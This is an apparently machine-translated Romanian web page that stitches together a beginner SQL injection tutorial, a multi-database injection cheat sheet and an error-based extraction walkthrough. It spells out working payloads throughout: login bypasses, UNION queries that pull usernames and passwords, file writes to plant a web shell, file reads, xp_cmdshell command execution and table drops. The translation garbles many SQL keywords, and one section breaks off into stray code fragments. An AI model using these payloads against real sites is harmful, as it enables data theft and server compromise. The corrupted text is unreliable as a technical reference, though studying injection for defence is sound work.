Acasă Flori Injecție SQL în interior și în exterior. Probleme pe piața rusă

Injecție SQL în interior și în exterior. Probleme pe piața rusă

Salutări, cititor. În ultima vreme, sunt interesat de securitatea web și într-o oarecare măsură munca mea este legată de aceasta. Deoarece Din ce în ce mai des am început să observ subiecte pe diverse forumuri prin care le cer să arate cum funcționează totul, așa că am decis să scriu un articol. Articolul se va adresa celor care nu au întâlnit acest lucru, dar ar dori să învețe. Există relativ multe articole pe această temă pe Internet, dar pentru începători sunt puțin complicate. Voi încerca să descriu totul într-un limbaj clar și exemple detaliate.

Prefață Pentru a înțelege acest articol, nu aveți nevoie de cunoștințe despre limbajul SQL, dar măcar de multă răbdare și puțin creier pentru memorare.

Cred că doar citirea articolului nu va fi suficientă, pentru că... avem nevoie de exemple vii - după cum știți, practica în procesul de memorare nu este niciodată de prisos. Prin urmare, vom scrie scripturi vulnerabile și vom pregăti despre ele.

Ce este injectarea SQL? Vorbitor într-un limbaj simplu este un atac asupra bazei de date care vă va permite să efectuați o acțiune care nu a fost intenționată de către creatorul scriptului. Exemplu din viață:

Tatăl i-a scris într-o notă mamei sale să-i dea lui Vasya 100 de ruble și să le pună pe masă. Reluând acest lucru într-un limbaj SQL comic, obținem:
LUAȚI 100 DE RUBLE DIN PORTOfel și dă-le lui Vasya

Deoarece tatăl a scris prost bilețelul (scris de mână stângaci) și a lăsat-o pe masă, fratele lui Vasya, Petya, a văzut-o. Petya, fiind un hacker, a adăugat „OR Pete” acolo și rezultatul a fost următoarea solicitare:
LUAȚI 100 DE RUBLE DIN PORTOfel și DĂ-LE LUI Vasya SAU Petya

Mama, după ce a citit biletul, a decis că i-a dat bani lui Vasya ieri și i-a dat 100 de ruble lui Petya. Iată un exemplu simplu de injecție SQL din viață:) Fără a filtra datele (mama abia putea înțelege scrisul de mână), Petya a făcut profit.

Pregătire Pentru practică, veți avea nevoie de o arhivă cu scripturile sursă pentru acest articol. Descărcați-l și despachetați-l pe server. De asemenea, importați baza de date și setați datele în fișierul cfg.php Search SQL injection

După cum ați înțeles deja, injecția provine din datele primite care nu sunt filtrate. Cea mai frecventă greșeală este de a nu filtra ID-ul transmis. Ei bine, aproximativ vorbind, pune ghilimele în toate domeniile. Fie că este o solicitare GET/POST sau chiar un cookie!

Parametru de intrare numeric Pentru practică, vom avea nevoie de scriptul index1.php. După cum am spus mai sus, inserăm ghilimele în ID-ul știrilor.

Deoarece Solicitarea noastră nu are filtrare:

$id = $_GET[„id”]; $query = "SELECT * FROM news WHERE id=$id";

Scriptul va înțelege acest lucru ca

SELECTAȚI * DIN știri WHERE id=1"

Și ne va da o eroare:
Avertisment: mysql_fetch_array() se așteaptă ca parametrul 1 să fie resursă, boolean dat în C:\WebServ\domains\sqlinj\index1.php pe linia 16

Dacă eroarea nu apare, pot exista următoarele motive:

1.Injecția SQL nu este aici - Citatele sunt filtrate sau doar convertite în (int)
2. Ieșirea de eroare este dezactivată.

Dacă tot primești o eroare - Ura! Am găsit primul tip de injecție SQL - Parametru de intrare numerică.

Parametru de intrare șir

Vom trimite cereri către index2.php. În acest fișier, cererea arată astfel:
$utilizator = $_GET[„utilizator”]; $query = "SELECT * FROM news WHERE user="$user"";

Aici selectăm știrile după numele de utilizator și, din nou, nu filtrăm.
Din nou trimitem o cerere cu o ofertă:

A dat o eroare. BINE! Aceasta înseamnă că există o vulnerabilitate. Pentru început, este suficient pentru noi - să trecem la practică.

Să începem O mică teorie

Probabil că abia așteptați să obțineți ceva din asta în afară de greșeli. În primul rând, înțelegeți că semnul „-” este considerat un comentariu în SQL.

ATENŢIE! Trebuie să existe spații înainte și după el. Acestea sunt transmise în adresa URL ca %20

Tot ce vine după comentariu va fi eliminat, adică cererea:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Va reuși. Puteți încerca acest lucru pe script-ul index2.php trimițând o solicitare ca aceasta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aflați parametrul UNION. În limbajul SQL cuvânt cheie UNION este folosit pentru a combina rezultatele a două interogări SQL într-un singur tabel. Adică pentru a scoate ceva de care avem nevoie dintr-o altă masă.

Să profităm de ea

Dacă parametrul este „Numeric”, atunci nu este nevoie să trimitem o ofertă în cerere și, în mod natural, să punem un comentariu la sfârșit. Să revenim la scriptul index1.php.

Să trecem la scriptul sqlinj/index1.php?id=1 UNION SELECT 1 . Interogarea noastră în baza de date arată astfel:
SELECT * FROM news WHERE id=1 UNION SELECT 1
Și ne-a dat o eroare, pentru că... pentru a lucra cu îmbinarea interogărilor, avem nevoie acelasi numar câmpuri.

Deoarece Nu putem influența numărul lor în prima solicitare, apoi trebuie să le selectăm numărul în a doua, astfel încât să fie egal cu prima.

Selectarea numărului de câmpuri

Selectarea câmpurilor este foarte simplă, trebuie doar să trimiteți următoarele solicitări:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Eroare…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Eroare din nou!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nicio eroare! Aceasta înseamnă că numărul de coloane este 5.

GROUP BY Se întâmplă adesea să fie 20 sau 40 sau chiar 60 de câmpuri. Pentru a nu trebui să le parcurgem de fiecare dată, folosim GROUP BY

Dacă cererea
sqlinj/index1.php?id=1 GROUP BY 2
nu a arătat nicio eroare, ceea ce înseamnă că numărul de câmpuri este mai mare de 2. Să încercăm:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vedem o eroare, înseamnă că numărul de câmpuri este mai mic de 8.

Dacă nu există nicio eroare cu GROUP BY 4, iar cu GROUP BY 6 există o eroare, atunci numărul de câmpuri este 5

Definirea coloanelor de ieșire Pentru a ne asigura că nu ne este trimis nimic de la prima solicitare, este suficient să înlocuim un ID inexistent, de exemplu:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Cu această acțiune, am determinat ce coloane sunt afișate pe pagină. Acum, pentru a înlocui aceste numere cu informațiile necesare, trebuie să continuați solicitarea.

Ieșire de date

Să presupunem că știm că există și un tabel de utilizatori în care există câmpurile id , name și pass .
Trebuie să obținem informații despre utilizatorul cu ID=1

Prin urmare, să construim următoarea interogare:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM utilizatorii WHERE id=1
De asemenea, scriptul continuă să iasă

Pentru a face acest lucru, vom înlocui numele câmpurilor în locul numerelor 1 și 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Avem ce ne trebuia!

Pentru un „parametru de intrare șir”, ca în scriptul index2.php, trebuie să adăugați un citat la început și un semn de comentariu la sfârșit. Exemplu:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Citirea/Scrierea fișierelor Pentru a citi și scrie fișiere, utilizatorul bazei de date trebuie să aibă drepturi FILE_PRIV Scrierea fișierelor Este de fapt foarte simplu. Pentru a scrie un fișier, vom folosi funcția OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Grozav, fișierul a fost înregistrat la noi. Astfel, putem umple mini-coaja:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20 Citirea fișierelor Citirea fișierelor este chiar mai ușoară decât scrierea. Utilizați pur și simplu funcția LOAD_FILE , pentru locul câmpului pe care îl selectăm:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Astfel, am citit dosarul scris anterior.

Metode de protecție

A te proteja este chiar mai ușor decât a exploata o vulnerabilitate. Doar filtrați datele. Dacă treceți numere, utilizați
$id = (int) $_GET["id"];
După cum a sugerat utilizatorul Malroc. Protejați-vă folosind DOP sau declarații pregătite.

În loc să termin cu asta, vreau să termin prima mea parte despre „injecția SQL pentru începători”. În al doilea ne vom uita la mai multe exemple severe injecții. Încercați să scrieți scripturi vulnerabile și să executați singur interogări.
Și amintiți-vă, nu aveți încredere în niciun utilizator al site-ului dvs.

Etichete: Adăugați etichete

Fișă de cheat injecție SQL creată pentru descrierea rezumată caracteristici tehnice tipuri variate Vulnerabilități de injectare SQL. Articolul prezintă caracteristicile injecțiilor SQL în MySQL, Microsoft SQL Server, ORACLE și PostgreSQL.

0. Introducere
În acest articol puteți găsi informații tehnice detaliate despre tipuri variate Injectii SQL. Poate fi util atât pentru specialiștii cu experiență, cât și pentru cei nou-veniți în domeniul securității informațiilor.

ÎN în prezent Nota conține informații numai pentru MySQL, Microsoft SQL Server și unele date pentru ORACLE și PostgreSQL. Secțiunile conțin sintaxă de injecție, explicații și exemple.

Simboluri folosite:
M (MySQL);
S (SQL Server);
O (Oracol);
P (PostgreSQL);
+ (eventual pe alte baze de date);
* (sunt necesare condiții speciale).

1. Comentarii de rând
Comentariile sunt în general utile pentru ignorarea unei părți a unei interogări.
Sintaxă:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Exemplu:
Nume utilizator: admin" --
Interogare generată: SELECT * FROM membri WHERE nume de utilizator = „admin”--” AND parolă = „parolă”
Acest lucru vă va permite să vă conectați ca utilizator administrator, ocolind verificarea parolei.

2. Blocați comentariile
Cu ajutorul lor, puteți ignora o parte a cererii, puteți înlocui spații, puteți ocoli listele negre și puteți determina versiunea bazei de date.
Sintaxă:
/*Comentariu*/ (SM):
DROP/*comment*/sampletable
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*înlocuiește_spațiu*/parolă/**/FROM/**/Membri

/*! SQL special MYSQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Aceasta este o sintaxă de comentariu specială pentru MySQL. Vă permite să detectați versiunea MySQL. Acest comentariu va funcționa numai în MySQL
Exemple:
ID: 10; DROP TABLE membri /*
Ignorăm restul solicitării, la fel ca un comentariu pe rând.

ID: /*!32302 10*/
veți obține același răspuns ca și cu ID=10 dacă versiunea MySQL este mai mare decât 3.23.02

ID: /*!32302 1/0, */
Interogare generată: SELECT /*!32302 1/0, */ 1 FROM tablename
O eroare de împărțire cu 0 va apărea dacă serverul are o versiune MySQL mai mare decât 3.23.02

3. Succesiunea cererilor
Vă permite să rulați mai mult de o solicitare simultan. Acest lucru este util în orice punct de injectare.


Verde - suportat; negru - nu este suportat; gri - necunoscut.
Sintaxă:
; (S): SELECT * FROM membri; membri DROP--
O cerere s-a încheiat, următoarea a început.
Exemplu:
ID: 10;membri DROP --
Interogare generată: SELECT * FROM produse WHERE id = 10; membri DROP--
Această interogare va elimina tabelul de membri după o interogare normală.

4. Propoziții condiționale
Vom primi un răspuns la cerere dacă condiția este îndeplinită. Acesta este unul dintre punctele cheie ale injectării oarbe. De asemenea, ajută la verificarea cu precizie a lucrurilor simple.
Sintaxă:
DACĂ(condiție, parte adevărată, parte falsă) (M): SELECTAȚI DACĂ(1=1, „adevărat”, „fals”)
IF condiția adevărată parte ELSE false-parte (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condiția THEN adevărată parte; ELSE false-parte; ENDIF; SFÂRŞIT; (O): DACA (1=1) ATUNCI dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; SFÂRŞIT;
SELECT CASE WHEN condiția THEN true-part ELSE false-part END; (P): SELECTAȚI CAZUL CÂND (1=1) ATUNCI „A” ALTE „B” Sfârșește;
exemplu:
if ((select user) = "sa" SAU (select user) = "dbo") select 1 else select 1/0 (S)
va arunca o eroare de împărțire la zero dacă utilizatorul curent nu este „sa” sau „dbo”.

5. Folosirea numerelor
Folosit pentru a ocoli magic_quotes() și filtre similare, inclusiv WAF.
Sintaxă:
0xHEX_NUMBER (SM):
SELECTARE CHAR(0x66) (S)
SELECT 0x5045 (acesta nu este un număr, ci un șir) (M)
SELECTAȚI 0x50 + 0x45 (acum acesta este un număr) (M)
Exemple:
SELECTARE LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Afișează conținutul fișierului c:\boot.ini

6. Concatenarea șirurilor
Operațiile cu șiruri pot ajuta la ocolirea filtrelor sau la identificarea bazei de date.
Sintaxă:
+ (S): SELECTAȚI autentificarea + „-” + parola FROM membri
|| (*MO): SELECTAȚI autentificare || „-” || parola de la membri
Va funcționa dacă MySQL rulează în modul ANSI. În caz contrar, MySQL nu îl va accepta ca operator logic și va returna 0. Este mai bine să folosiți funcția CONCAT() în MySQL.

CONCAT(str1, str2, str3, …) (M): SELECTAȚI CONCAT(autentificare, parolă) FROM membri

7. Șiruri fără ghilimele
Există mai multe modalități de a evita utilizarea ghilimelelor într-o interogare, cum ar fi utilizarea CHAR() (MS) și CONCAT() (M).
Sintaxă:
SELECTAȚI 0x457578 (M)

MySQL are o modalitate simplă de a reprezenta un șir ca cod hexadecimal:
SELECTARE CONCAT ("0x", HEX ("c:\\boot.ini"))

Returnează șirul „KLM”:
SELECTARE CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECTARE CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECTARE CHR(75)||CHR(76)||CHR(77) (O)
SELECTAȚI (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Conversia șirurilor și numerelor.
Sintaxă:
ASCII() (SMP): SELECTAȚI ASCII(„a”)
Returnează codul ASCII al caracterului din stânga. Funcția este utilizată pentru injecții oarbe.

CHAR() (SM): SELECTARE CHAR(64)
Traduce un cod ASCII în caracterul corespunzător.

9. operator UNION
Cu operatorul UNION puteți interoga intersecția tabelelor. Practic, puteți trimite o interogare care returnează o valoare dintr-un alt tabel.
Exemplu:
SELECT antet, txt FROM știri UNION ALL SELECT numele, trece FROM membri
Aceasta va îmbina rezultatele din tabelele de știri și membri

10. Bypass de autentificare (SMO+)
Exemple:
administrator" --
administrator" #
admin"/*
„sau 1=1--
" sau 1=1#
" sau 1=1/*
") sau "1"="1--
") sau ("1"="1--

11. Ocoliți autentificarea MD5
Dacă aplicația compară mai întâi numele de utilizator și apoi compară hash-ul md5 al parolei, atunci veți avea nevoie de trucuri suplimentare pentru a ocoli autentificarea. Puteți combina rezultatele cu o parolă cunoscută și hash-ul acesteia.
Exemplu (MSP):
Nume utilizator: admin
Parola: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Bazat pe eroare
12.1 Definirea coloanelor folosind HAVING BY(S)
Exemplu:
În aceeași ordine
" AVÂND 1=1 --
" GROUP BY table.columnfromerror1 AVÂND 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 AVÂND 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 AVÂND 1=1 –
…………….
Continuați până când nu mai primiți erori.

12.2 Determinarea numărului de coloane folosind ORDER BY (MSO+)
Găsirea numărului de coloane folosind ORDER BY poate fi accelerată folosind injecția UNION.
COMANDA PENTRU 1--
COMANDA PENTRU 2--
COMANDA PENTRU 3-
………………..
Continuați până când primiți un mesaj de eroare. Aceasta va indica numărul de coloane.

13. Definirea tipului de date
Folosiți întotdeauna UNION cu ALL.
Pentru a scăpa de o intrare inutilă în tabel, utilizați -1 pentru orice valoare inexistentă la începutul interogării (dacă injecția este în parametrul WHERE). Acest lucru este important dacă puteți prelua o singură valoare la un moment dat.
Folosiți NULL în injecțiile UNION în loc să încercați să ghiciți un șir, dată, număr etc. Dar aveți grijă când faceți injectarea orbește, pentru că... este posibil să confundați eroarea bazei de date cu aplicația în sine. Unele limbi, cum ar fi ASP.NET, afișează o eroare când se utilizează o valoare NULL (deoarece dezvoltatorii nu se așteptau să vadă o valoare nulă în câmpul numelui de utilizator)
Exemple:
" uniunea selectează suma(columntofind) de la utilizatori-- (S):
Dacă nu primiți un mesaj de eroare, atunci coloana este numerică.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(imagine,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL --
Puteți folosi CAST() sau CONVERT()

11223344) UNION SELECT NULL, NULL, NULL, NULL WHERE 1=2 –-
Dacă nu există nicio eroare, atunci sintaxa este corectă, adică. Se folosește MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL WHERE 1=2 –-
Dacă nu există nicio eroare, atunci prima coloană este un număr.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Dacă apare o eroare, atunci a doua coloană nu este un număr.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Dacă nu există nicio eroare, atunci a doua coloană este un șir.
……………..

14. Inserare simplă (MSO+)
Exemplu:
"; inserați în valorile utilizatorilor (1, "hax0r", "coolpass", 9)/*

15. Colectarea de informații
Sintaxă:
@@versiunea (MS)
Puteți afla versiunea bazei de date și informații mai detaliate.
Exemplu:
INSERT INTO membri(id, utilizator, trecere) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Inserție complexă (S)
Vă permite să inserați conținutul unui fișier într-un tabel. Dacă nu cunoașteți calea internă a aplicației web, puteți citi metabaza IIS (doar IIS 6).
Sintaxă:
fișier(%systemroot%\system32\inetsrv\MetaBase.xml)
Apoi puteți găsi căile aplicației în el.
Exemplu:
1. Creați tabelul foo(tip șir varchar(8000))
2. Introduceți conținutul fișierului „c:\inetpub\wwwroot\login.asp” în tabelul foo
3. Aruncați tabelul temporar și repetați pentru un alt fișier.

17. BCP (S)
Scrie fisier text. Acest lucru necesită acreditări.
Exemplu:
bcp „SELECT * FROM test..foo” interogare c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH în SQL Server (S)
Puteți utiliza scripturi VBS, WSH în SQL Server.
Exemplu:
Nume utilizator:"; declara @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Executați comenzile sistemului (S)
Un truc binecunoscut, caracteristica este dezactivată implicit în SQL Server 2005. Aveți nevoie de drepturi de administrator.
Exemplu:
EXEC master.dbo.xp_cmdshell „director cmd.exe c:”
EXEC master.dbo.xp_cmdshell „ping”

20. Tabele speciale în SQL Server (S)
Exemple:
Mesaje de eroare: master..sysmessages
Servere legate: master..syservers
Parola SQL Server 2000: masters..sysxlogins
Parola SQL Server 2005: sys.sql_logins

21. Mai multe proceduri stocate pentru SQL Server (S)
Sintaxă:
Cmd Execute (xp_cmdshell)
Lucruri din registry (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Servicii de gestionare (xp_servicecontrol)
Medias (xp_availablemedia)
Resurse ODBC (xp_enumdsn)
Modul de conectare (xp_loginconfig)
Crearea fișierelor Cab (xp_makecab)
Enumerarea domeniului (xp_ntsec_enumdomains)
Process Killing (este necesar PID) (xp_terminate_process)
Adăugați o nouă procedură (sp_addextendedproc)
Scrieți fișierul text într-un UNC sau pe o cale internă (sp_makewebtask)
Exemple:
exec xp_regread HKEY_LOCAL_MACHINE, „SYSTEM\CurrentControlSet\Services\lanmanserver\parameters”, „nullsessionshares”
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, „SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities”
sp_addextendedproc „xp_webserver”, „c:\temp\x.dll”
exec xp_webserver

22. Note MSSQL în bloc
Exemple:
SELECTAȚI * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @rezultat int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Injectarea SQL în interogări LIMIT (M).
Exemplu:
SELECT id, produs FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Pentru a ocoli operatorul LIMIT, puteți folosi UNION sau un comentariu.

24. Închideți SQL Server (S)
Exemplu:
";închide -

25. Activarea xp_cmdshell în SQL Server 2005
Sintaxă:
În mod implicit, xp_cmdshell și alte câteva caracteristici potențial periculoase sunt dezactivate în SQL Server 2005. Dacă aveți drepturi administrative, le puteți activa.
EXEC sp_configure „afișează opțiuni avansate”,1
RECONFIGURAȚI
EXEC sp_configure "xp_cmdshell",1
RECONFIGURAȚI

26. Căutarea structurii bazei de date în SQL Server (S)
Exemple:
SELECTAȚI numele FROM sysobjects WHERE xtype = "U"

SELECT numele FROM syscolumns WHERE id =(SELECT ID FROM sysobjects WHERE nume = "tablenameforcolumnames")
Obținerea numelor de coloane

27. Mutarea înregistrărilor (S)
Exemple:
... WHERE utilizatorii NU IN ("Primul utilizator", "Al doilea utilizator")
Utilizați WHERE cu NOT IN sau NOT EXIST

SELECTAȚI TOP 1 nume FROM membrii UNDE NU EXISTĂ (SELECTARE TOP 0 nume FROM membri)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Selectați p.name din (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id 0) ( Login(cn); ) ) cn. close(); Principal(); %>

Vulnerabilitatea aici este conținută în „process_login.asp”, care creează o solicitare ca aceasta:

Var sql = "selectați * din utilizatori unde nume de utilizator = "" + nume de utilizator + "" și parola = "" + parolă + """;

Dacă utilizatorul introduce:

Nume utilizator: "; drop table users-- Parola:

Tabelul „utilizatori” va fi șters, ceea ce va interzice accesul la aplicație tuturor utilizatorilor. Combinația „--” în Transact-SQL definește un comentariu cu o singură linie și „;” marchează sfârșitul unui rând și începutul altuia. Două liniuțe consecutive aceasta cerere sunt folosite pentru a finaliza cererea fără erori.

Mai mult, un atacator se poate conecta la sistem sub orice nume de utilizator folosind următoarea construcție:

Nume utilizator: admin"--

Și prin introducerea următoarelor informații, un atacator se va putea conecta în sistem ca utilizator fictiv:

Nume de utilizator: " union select 1, "fictional_user", "some_password", 1--

Motivul pentru care aceasta funcționează este că aplicația va „crede” că rezultatul fals returnat este un set de înregistrări din baza de date.

Obținerea de informații pe baza mesajelor de eroare

Inventatorul acestei tehnici este David Litchfield, cercetător în domeniul testării de penetrare (în scopul testării unui sistem de securitate). David a scris mai târziu o lucrare pe această temă, la care au făcut referire mulți alți autori. Lucrarea sa explică mecanismul de utilizare a mesajelor de eroare – tehnica „mesajelor de eroare”. În munca sa, el explică pe deplin această tehnică cititorilor și dă un impuls suplimentar dezvoltării propriei înțelegeri a acestei probleme.

Pentru a manipula cu succes datele, un atacator trebuie să cunoască structura bazelor de date și a tabelelor la care dorește să aibă acces. De exemplu, tabelul nostru „utilizatori” a fost creat folosind următoarea comandă:

Creați utilizatori de tabel (id int, nume de utilizator varchar(255), parola varchar(255), privs int)

Și conține următorii utilizatori:

Inserați în valorile utilizatorilor(0, „admin”, „r00tr0x!”, 0xffff) introduceți în valorile utilizatorilor(0, „oaspeți”, „oaspeți”, 0x0000) introduceți în valorile utilizatorilor(0, „chris”, „parolă”, 0x00ff) inserați în valorile utilizatorilor (0, „fred”, „sesame”, 0x00ff)

Să presupunem că hackerul nostru vrea să introducă intrare proprie la masă. Este puțin probabil să reușească dacă nu îi cunoaște structura. Dar chiar dacă va reuși, sensul câmpului „privs” va rămâne neclar. Un atacator poate introduce valoarea „1”, creând un cont cu privilegii reduse, în timp ce are nevoie de acces la nivel de administrator al aplicației.

Din fericire, pentru un hacker, comportamentul standard ASP pentru erori este de a afișa mesaje despre acestea, folosindu-le pentru a determina complet structura bazei de date și, prin urmare, pentru a afla valorile tuturor câmpurilor din conturile de utilizator care sunt introduse în aplicație. Bază de date.

(În următorul exemplu vom folosi baza de date sugerată mai sus, precum și un script asp, pentru a arăta această tehnică în acțiune.)

Mai întâi, atacatorul va dori să determine numele tabelelor pe care operează interogările, precum și numele câmpurilor. Pentru a atinge acest obiectiv, un atacator va folosi construcția „având” în expresia select:

Nume de utilizator: „avand 1=1--

Ceea ce va provoca următoarea eroare:

Eroare Microsoft OLE DB Provider pentru drivere ODBC „80040e14” Coloana „users.id” este nevalidă în lista de selectare deoarece nu este inclusă într-o funcție de agregare și nu există nicio clauză GROUP BY. /process_login.asp, linia 35

Astfel, cunoscând numele tabelelor și numele primei coloane din ea. Această procedură poate fi continuată folosind operatorul „grupare după”, după cum se arată mai jos:

Nume utilizator: " grupează după users.id având 1=1--

(care la rândul său va genera o nouă eroare)

Eroare Microsoft OLE DB Provider pentru drivere ODBC „80040e14” Coloana „users.username” este nevalidă în lista de selectare, deoarece nu este conținută nici într-o funcție agregată, nici în clauza GROUP BY. Ca rezultat, hackerul va veni cu următoarea construcție:
" grupați după users.id, users.username, users.password, users.privs având 1=1--
Care nu va provoca o eroare și va fi echivalent cu:
selectați * dintre utilizatorii unde username = ""
Astfel, atacatorul știe că cererea afectează doar tabelul „utilizatori”, a cărui structură este „id, username, password, privs” (în această ordine). Aceste informații vor fi utile dacă puteți afla tipul de date care este utilizat în fiecare dintre coloane. Informațiile despre tipul de date pot fi obținute folosind „conversia tipului”, de exemplu:
Nume utilizator: " union select sum(username) din utilizatori--
Ideea funcției summ() este că serverul SQL încearcă să o execute înainte de a determina dacă valoarea este numerică sau de caractere. Încercarea de a calcula „suma” unui câmp text va avea ca rezultat următoarea eroare:
Eroare Microsoft OLE DB Provider pentru drivere ODBC „80040e07” Operația de sumă sau medie agregată nu poate lua un tip de date varchar ca argument. /process_login.asp, linia 35
Ceea ce ne spune că tipul de date din câmpul „nume utilizator” este varchar. Pe de altă parte, dacă încercăm să evaluăm sum() de tip numeric, vom primi un mesaj care ne anunță că numărul de caractere din setul de două șiruri de text nu se potrivește:
Nume utilizator: " union select sum(id) from users-- eroare Microsoft OLE DB Provider for ODBC Drivers "80040e14" Toate interogările dintr-o instrucțiune SQL care conține un operator UNION trebuie avut un număr egal de expresii în listele lor țintă. /process_login.asp, linia 35
Putem folosi o tehnică similară pentru a determina tipul de date al aproape oricărei coloane, oricărui tabel aflat în baza de date. Care, la rândul său, va ajuta atacatorul să creeze o cerere de „inserare” bine scrisă, de exemplu:
Nume utilizator: "; inserați în valorile utilizatorilor (666, "atacator", "foobar", 0xffff)--
Cu toate acestea, capacitățile algoritmului nu se opresc aici. Hackerul poate obține Informatii utile din erori despre mediu sau baza de date în sine. Listă erori standard poate fi obținut folosind construcția:
selectați * din master..sysmessages
Prin completarea acestei cereri puteți obține o mulțime de informații interesante. Deosebit de utile sunt informațiile despre conversia tipului. Dacă încercați să convertiți șirul în întreg, va fi returnat un mesaj care conține întregul conținut al șirului. În exemplul nostru, conversia „nume de utilizator” va returna versiunea serverului SQL, precum și versiunea sistemului de operare.
Nume utilizator: „ union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers eroare „80040e07” Eroare de sintaxă la conversia valorii nvarchar „Microsoft SQL Server 2000 - 8.00.194 (Intel X86) 6 august 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition pe Windows NT 5.0 (Build 2195: Service Pack 2)" to a column of data type int. /process_login.asp, line 35 !}
În exemplul de mai sus, vom încerca să convertim constanta încorporată „@@version” într-o valoare întreagă, deoarece prima coloană din tabelul „utilizatori” este de acest tip de date. Metoda poate fi folosită pentru a citi orice valoare din orice tabel din baza de date. Astfel, dacă un atacator dorește să afle nume de utilizator și parole, cel mai probabil va folosi următoarea construcție pentru a citi datele:
Nume utilizator: " union select min(username),1,1,1 din utilizatorii unde username > "a"--
Selectarea unui utilizator al cărui „nume de utilizator” este mai mare decât „a” va avea ca rezultat o încercare de a converti tipurile într-o valoare întreagă:
Eroarea furnizorului Microsoft OLE DB pentru driverele ODBC „80040e07” Eroare de sintaxă la conversia valorii varchar „admin" to a column of data type int. /process_login.asp, line 35 !}
Astfel, vom primi o listă de utilizatori, după care putem trece la obținerea parolelor:
Nume utilizator: " union select password,1,1,1 from users where username = "admin"-- Microsoft OLE DB Provider for ODBC Drivers eroare "80040e07" Eroare de sintaxă la conversia valorii varchar "r00tr0x!" to a column of data type int. /process_login.asp, line 35 !}
O modalitate mai elegantă este să extrageți toate numele de utilizator și parolele într-un singur eșantion și apoi să încercați să le convertiți într-o valoare întreagă. Trebuie remarcat faptul că expresiile Transact-SQL pot fi combinate într-o singură linie fără a le schimba semnificația - luați în considerare următorul exemplu:
start declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+parola de la utilizatori unde username>@ret select @ret ca ret în foo end
Evident, atacatorul se va „conecta” cu acest nume de utilizator:
Nume utilizator: "; begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+parola de la utilizatori unde username>@ret select @ret ca ret în foo end- -
Această interogare va crea un tabel foo, care va conține o singură coloană „ret”, care va conține toate rândurile noastre. Adesea, chiar și un utilizator cu privilegii reduse are capacitatea de a crea un tabel într-o bază de date sau chiar o bază de date temporară. Astfel, un atacator poate selecta toate rândurile din acest tabel, la fel ca în exemplul anterior:
Nume utilizator: „ union select ret,1,1,1 from foo-- Eroare Microsoft OLE DB Provider pentru drivere ODBC „80040e07” Eroare de sintaxă la conversia valorii varchar „: admin/r00tr0x! guest/guest chris/parola fred /susan" to a column of data type int. /process_login.asp, line 35 !}
Și apoi își va acoperi urmele ștergând tabelul:
Nume utilizator: "; drop table foo--
Exemplele de mai sus ne arată toată flexibilitatea oferită de acest algoritm. Inutil să spun că, dacă un atacator reușește să provoace o eroare la accesarea bazei de date, atunci munca lui devine mult mai ușoară. /process_login.asp, linia 35

Nou pe site

>

Cel mai popular